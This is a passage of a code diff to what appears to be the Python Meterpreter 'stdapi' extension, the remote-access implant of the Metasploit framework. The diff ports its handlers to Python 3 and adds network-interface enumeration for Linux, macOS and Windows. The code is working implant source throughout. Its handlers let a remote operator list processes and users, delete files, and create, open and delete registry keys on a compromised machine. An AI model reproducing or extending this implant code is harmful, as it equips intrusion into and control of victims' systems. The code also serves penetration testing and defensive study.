proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
proc_h.echo_protection = True
|
||||||
proc_h.start()
|
proc_h.start()
|
||||||
else:
|
else:
|
||||||
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
@ -470,15 +721,15 @@ def stdapi_sys_process_getpid(request, response):
|
||||||
|
|
||||||
def stdapi_sys_process_get_processes_via_proc(request, response):
|
def stdapi_sys_process_get_processes_via_proc(request, response):
|
||||||
for pid in os.listdir('/proc'):
|
for pid in os.listdir('/proc'):
|
||||||
pgroup = ''
|
pgroup = bytes()
|
||||||
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
||||||
continue
|
continue
|
||||||
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
|
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
|
||||||
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
|
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
|
||||||
|
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
|
||||||
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
||||||
status_data = filter(lambda x: len(x) == 2, status_data)
|
|
||||||
status = {}
|
status = {}
|
||||||
for k, v in status_data:
|
for k, v in filter(lambda x: len(x) == 2, status_data):
|
||||||
status[k[:-1]] = v.strip()
|
status[k[:-1]] = v.strip()
|
||||||
ppid = status.get('PPid')
|
ppid = status.get('PPid')
|
||||||
uid = status.get('Uid').split('\t', 1)[0]
|
uid = status.get('Uid').split('\t', 1)[0]
|
||||||
|
@ -502,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
|
||||||
def stdapi_sys_process_get_processes_via_ps(request, response):
|
def stdapi_sys_process_get_processes_via_ps(request, response):
|
||||||
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
||||||
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
ps_output = proc_h.stdout.read()
|
ps_output = str(proc_h.stdout.read())
|
||||||
ps_output = ps_output.split('\n')
|
ps_output = ps_output.split('\n')
|
||||||
ps_output.pop(0)
|
ps_output.pop(0)
|
||||||
for process in ps_output:
|
for process in ps_output:
|
||||||
process = process.split()
|
process = process.split()
|
||||||
if len(process) < 4:
|
if len(process) < 4:
|
||||||
break
|
break
|
||||||
pgroup = ''
|
pgroup = bytes()
|
||||||
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
||||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
||||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
||||||
|
@ -570,7 +821,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
||||||
use = ctypes.c_ulong()
|
use = ctypes.c_ulong()
|
||||||
use.value = 0
|
use.value = 0
|
||||||
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
||||||
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
|
||||||
k32.CloseHandle(tkn_h)
|
k32.CloseHandle(tkn_h)
|
||||||
parch = windll_GetNativeSystemInfo()
|
parch = windll_GetNativeSystemInfo()
|
||||||
is_wow64 = ctypes.c_ubyte()
|
is_wow64 = ctypes.c_ubyte()
|
||||||
|
@ -579,7 +830,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
||||||
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
||||||
if is_wow64.value:
|
if is_wow64.value:
|
||||||
parch = PROCESS_ARCH_X86
|
parch = PROCESS_ARCH_X86
|
||||||
pgroup = ''
|
pgroup = bytes()
|
||||||
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
||||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
||||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
||||||
|
@ -627,6 +878,7 @@ def stdapi_fs_delete_dir(request, response):
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_delete_file(request, response):
|
def stdapi_fs_delete_file(request, response):
|
||||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
if os.path.exists(file_path):
|
||||||
os.unlink(file_path)
|
os.unlink(file_path)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -634,9 +886,10 @@ def stdapi_fs_delete_file(request, response):
|
||||||
def stdapi_fs_file_expand_path(request, response):
|
def stdapi_fs_file_expand_path(request, response):
|
||||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
if has_windll:
|
if has_windll:
|
||||||
|
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
|
||||||
path_out = (ctypes.c_char * 4096)()
|
path_out = (ctypes.c_char * 4096)()
|
||||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||||
result = ''.join(path_out)[:path_out_len]
|
result = str(ctypes.string_at(path_out))
|
||||||
elif path_tlv == '%COMSPEC%':
|
elif path_tlv == '%COMSPEC%':
|
||||||
result = '/bin/sh'
|
result = '/bin/sh'
|
||||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||||
|
@ -675,12 +928,12 @@ def stdapi_fs_ls(request, response):
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_md5(request, response):
|
def stdapi_fs_md5(request, response):
|
||||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
try:
|
||||||
import md5
|
|
||||||
m = md5.new()
|
|
||||||
else:
|
|
||||||
import hashlib
|
import hashlib
|
||||||
m = hashlib.md5()
|
m = hashlib.md5()
|
||||||
|
except ImportError:
|
||||||
|
import md5
|
||||||
|
m = md5.new()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
|
@ -689,6 +942,7 @@ def stdapi_fs_md5(request, response):
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_mkdir(request, response):
|
def stdapi_fs_mkdir(request, response):
|
||||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||||
|
if not os.path.isdir(dir_path):
|
||||||
os.mkdir(dir_path)
|
os.mkdir(dir_path)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -722,12 +976,12 @@ def stdapi_fs_separator(request, response):
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_sha1(request, response):
|
def stdapi_fs_sha1(request, response):
|
||||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
try:
|
||||||
import sha1
|
|
||||||
m = sha1.new()
|
|
||||||
else:
|
|
||||||
import hashlib
|
import hashlib
|
||||||
m = hashlib.sha1()
|
m = hashlib.sha1()
|
||||||
|
except ImportError:
|
||||||
|
import sha
|
||||||
|
m = sha.new()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
|
@ -740,6 +994,238 @@ def stdapi_fs_stat(request, response):
|
||||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_net_config_get_interfaces(request, response):
|
||||||
|
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
||||||
|
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
||||||
|
elif has_osxsc:
|
||||||
|
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
|
||||||
|
elif has_windll:
|
||||||
|
interfaces = stdapi_net_config_get_interfaces_via_windll()
|
||||||
|
else:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
for iface_info in interfaces:
|
||||||
|
iface_tlv = bytes()
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
||||||
|
if 'mtu' in iface_info:
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
|
||||||
|
if 'flags' in iface_info:
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
|
||||||
|
for address in iface_info.get('addrs', []):
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
|
||||||
|
if isinstance(address[2], (int, long)):
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
|
||||||
|
else:
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
|
||||||
|
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_netlink():
|
||||||
|
rta_align = lambda l: l+3 & ~3
|
||||||
|
iface_flags = {
|
||||||
|
0x0001: 'UP',
|
||||||
|
0x0002: 'BROADCAST',
|
||||||
|
0x0008: 'LOOPBACK',
|
||||||
|
0x0010: 'POINTTOPOINT',
|
||||||
|
0x0040: 'RUNNING',
|
||||||
|
0x0100: 'PROMISC',
|
||||||
|
0x1000: 'MULTICAST'
|
||||||
|
}
|
||||||
|
iface_flags_sorted = list(iface_flags.keys())
|
||||||
|
# Dictionaries don't maintain order
|
||||||
|
iface_flags_sorted.sort()
|
||||||
|
interfaces = {}
|
||||||
|
|
||||||
|
responses = netlink_request(RTM_GETLINK)
|
||||||
|
for res_data in responses:
|
||||||
|
iface = cstruct_unpack(IFINFOMSG, res_data)
|
||||||
|
iface_info = {'index':iface.index}
|
||||||
|
flags = []
|
||||||
|
for flag in iface_flags_sorted:
|
||||||
|
if (iface.flags & flag):
|
||||||
|
flags.append(iface_flags[flag])
|
||||||
|
iface_info['flags'] = ' '.join(flags)
|
||||||
|
cursor = ctypes.sizeof(IFINFOMSG)
|
||||||
|
while cursor < len(res_data):
|
||||||
|
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||||
|
at_len = attribute.len
|
||||||
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||||
|
cursor += rta_align(at_len)
|
||||||
|
|
||||||
|
if attribute.type == IFLA_ADDRESS:
|
||||||
|
iface_info['hw_addr'] = attr_data
|
||||||
|
elif attribute.type == IFLA_IFNAME:
|
||||||
|
iface_info['name'] = attr_data
|
||||||
|
elif attribute.type == IFLA_MTU:
|
||||||
|
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
|
||||||
|
interfaces[iface.index] = iface_info
|
||||||
|
|
||||||
|
responses = netlink_request(RTM_GETADDR)
|
||||||
|
for res_data in responses:
|
||||||
|
iface = cstruct_unpack(IFADDRMSG, res_data)
|
||||||
|
if not iface.family in (socket.AF_INET, socket.AF_INET6):
|
||||||
|
continue
|
||||||
|
iface_info = interfaces.get(iface.index, {})
|
||||||
|
cursor = ctypes.sizeof(IFADDRMSG)
|
||||||
|
while cursor < len(res_data):
|
||||||
|
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||||
|
at_len = attribute.len
|
||||||
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||||
|
cursor += rta_align(at_len)
|
||||||
|
|
||||||
|
if attribute.type == IFA_ADDRESS:
|
||||||
|
nm_bits = iface.prefixlen
|
||||||
|
if iface.family == socket.AF_INET:
|
||||||
|
netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
|
||||||
|
else:
|
||||||
|
if nm_bits >= 96:
|
||||||
|
netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
|
||||||
|
elif nm_bits >= 64:
|
||||||
|
netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
|
||||||
|
elif nm_bits >= 32:
|
||||||
|
netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
|
||||||
|
else:
|
||||||
|
netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
|
||||||
|
addr_list = iface_info.get('addrs', [])
|
||||||
|
addr_list.append((iface.family, attr_data, netmask))
|
||||||
|
iface_info['addrs'] = addr_list
|
||||||
|
elif attribute.type == IFA_LABEL:
|
||||||
|
iface_info['name'] = attr_data
|
||||||
|
interfaces[iface.index] = iface_info
|
||||||
|
return interfaces.values()
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_osxsc():
|
||||||
|
ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
|
||||||
|
entities = []
|
||||||
|
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
|
||||||
|
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
|
||||||
|
patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
|
||||||
|
values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
|
||||||
|
interfaces = {}
|
||||||
|
for key, value in values.items():
|
||||||
|
iface_name = key.split('/')[3]
|
||||||
|
iface_info = interfaces.get(iface_name, {})
|
||||||
|
iface_info['name'] = str(iface_name)
|
||||||
|
if key.endswith('IPv4'):
|
||||||
|
family = socket.AF_INET
|
||||||
|
elif key.endswith('IPv6'):
|
||||||
|
family = socket.AF_INET6
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
iface_addresses = iface_info.get('addrs', [])
|
||||||
|
for idx in range(len(value['Addresses'])):
|
||||||
|
if family == socket.AF_INET:
|
||||||
|
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
|
||||||
|
else:
|
||||||
|
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
|
||||||
|
iface_info['addrs'] = iface_addresses
|
||||||
|
interfaces[iface_name] = iface_info
|
||||||
|
for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
|
||||||
|
iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
|
||||||
|
if not iface_name in interfaces:
|
||||||
|
iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
|
||||||
|
if not iface_type in ['Ethernet', 'IEEE80211']:
|
||||||
|
continue
|
||||||
|
interfaces[iface_name] = {'name': str(iface_name)}
|
||||||
|
iface_info = interfaces[iface_name]
|
||||||
|
mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
|
||||||
|
iface_info['mtu'] = mtu
|
||||||
|
hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
|
||||||
|
if hw_addr:
|
||||||
|
hw_addr = hw_addr.replace(':', '')
|
||||||
|
hw_addr = hw_addr.decode('hex')
|
||||||
|
iface_info['hw_addr'] = hw_addr
|
||||||
|
ifnames = list(interfaces.keys())
|
||||||
|
ifnames.sort()
|
||||||
|
for iface_name, iface_info in interfaces.items():
|
||||||
|
iface_info['index'] = ifnames.index(iface_name)
|
||||||
|
return interfaces.values()
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_windll():
|
||||||
|
iphlpapi = ctypes.windll.iphlpapi
|
||||||
|
if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
|
||||||
|
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||||
|
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
|
||||||
|
AdapterAddresses = ctypes.c_void_p()
|
||||||
|
SizePointer = ctypes.c_ulong()
|
||||||
|
SizePointer.value = 0
|
||||||
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
|
||||||
|
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
|
||||||
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
|
||||||
|
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
|
||||||
|
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
|
||||||
|
if AdapterAddresses.u.s.Length <= 72:
|
||||||
|
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||||
|
win_version = windll_GetVersion()
|
||||||
|
interfaces = []
|
||||||
|
pAdapterAddresses = ctypes.byref(AdapterAddresses)
|
||||||
|
while pAdapterAddresses:
|
||||||
|
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
|
||||||
|
pAdapterAddresses = AdapterAddresses.Next
|
||||||
|
pFirstPrefix = AdapterAddresses.FirstPrefix
|
||||||
|
iface_info = {}
|
||||||
|
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
||||||
|
if AdapterAddresses.PhysicalAddressLength:
|
||||||
|
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
||||||
|
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
|
||||||
|
if not is_str(iface_desc):
|
||||||
|
iface_desc = str(iface_desc)
|
||||||
|
iface_info['name'] = iface_desc
|
||||||
|
iface_info['mtu'] = AdapterAddresses.Mtu
|
||||||
|
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
||||||
|
while pUniAddr:
|
||||||
|
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
|
||||||
|
pUniAddr = UniAddr.Next
|
||||||
|
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
|
||||||
|
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
|
||||||
|
continue
|
||||||
|
prefix = 0
|
||||||
|
if win_version.dwMajorVersion >= 6:
|
||||||
|
prefix = UniAddr.OnLinkPrefixLength
|
||||||
|
elif pFirstPrefix:
|
||||||
|
ip_adapter_prefix = 'QPPIL'
|
||||||
|
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
|
||||||
|
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
|
||||||
|
iface_addresses = iface_info.get('addrs', [])
|
||||||
|
if address.sa_family == socket.AF_INET:
|
||||||
|
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
|
||||||
|
else:
|
||||||
|
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
|
||||||
|
iface_info['addrs'] = iface_addresses
|
||||||
|
interfaces.append(iface_info)
|
||||||
|
return interfaces
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_windll_mib():
|
||||||
|
iphlpapi = ctypes.windll.iphlpapi
|
||||||
|
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
|
||||||
|
pdwSize = ctypes.c_ulong()
|
||||||
|
pdwSize.value = ctypes.sizeof(table)
|
||||||
|
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
|
||||||
|
return None
|
||||||
|
interfaces = []
|
||||||
|
table_data = ctypes.string_at(table, pdwSize.value)
|
||||||
|
entries = struct.unpack('I', table_data[:4])[0]
|
||||||
|
table_data = table_data[4:]
|
||||||
|
for i in range(entries):
|
||||||
|
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
|
||||||
|
ifrow = MIB_IFROW()
|
||||||
|
ifrow.dwIndex = addrrow.dwIndex
|
||||||
|
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
|
||||||
|
continue
|
||||||
|
iface_info = {}
|
||||||
|
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
|
||||||
|
iface_info['index'] = addrrow.dwIndex
|
||||||
|
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
|
||||||
|
if ifrow.dwPhysAddrLen:
|
||||||
|
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
|
||||||
|
if ifrow.dwDescrLen:
|
||||||
|
iface_info['name'] = ifrow.bDescr
|
||||||
|
iface_info['mtu'] = ifrow.dwMtu
|
||||||
|
interfaces.append(iface_info)
|
||||||
|
return interfaces
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_net_resolve_host(request, response):
|
def stdapi_net_resolve_host(request, response):
|
||||||
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
||||||
|
@ -776,9 +1262,10 @@ def stdapi_net_resolve_hosts(request, response):
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
||||||
channel = meterpreter.channels[channel_id]
|
channel = meterpreter.channels[channel_id]
|
||||||
channel.close()
|
channel.shutdown(how)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function_windll
|
@meterpreter.register_function_windll
|
||||||
|
@ -791,9 +1278,10 @@ def stdapi_registry_close_key(request, response):
|
||||||
def stdapi_registry_create_key(request, response):
|
def stdapi_registry_create_key(request, response):
|
||||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||||
res_key = ctypes.c_void_p()
|
res_key = ctypes.c_void_p()
|
||||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||||
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
@ -802,18 +1290,20 @@ def stdapi_registry_create_key(request, response):
|
||||||
def stdapi_registry_delete_key(request, response):
|
def stdapi_registry_delete_key(request, response):
|
||||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||||
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
||||||
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
||||||
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
|
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
|
||||||
else:
|
else:
|
||||||
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
|
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
|
||||||
return result, response
|
return result, response
|
||||||
|
|
||||||
@meterpreter.register_function_windll
|
@meterpreter.register_function_windll
|
||||||
def stdapi_registry_delete_value(request, response):
|
def stdapi_registry_delete_value(request, response):
|
||||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||||
|
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||||
return result, response
|
return result, response
|
||||||
|
|
||||||
@meterpreter.register_function_windll
|
@meterpreter.register_function_windll
|
||||||
|
@ -882,9 +1372,10 @@ def stdapi_registry_load_key(request, response):
|
||||||
def stdapi_registry_open_key(request, response):
|
def stdapi_registry_open_key(request, response):
|
||||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||||
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||||
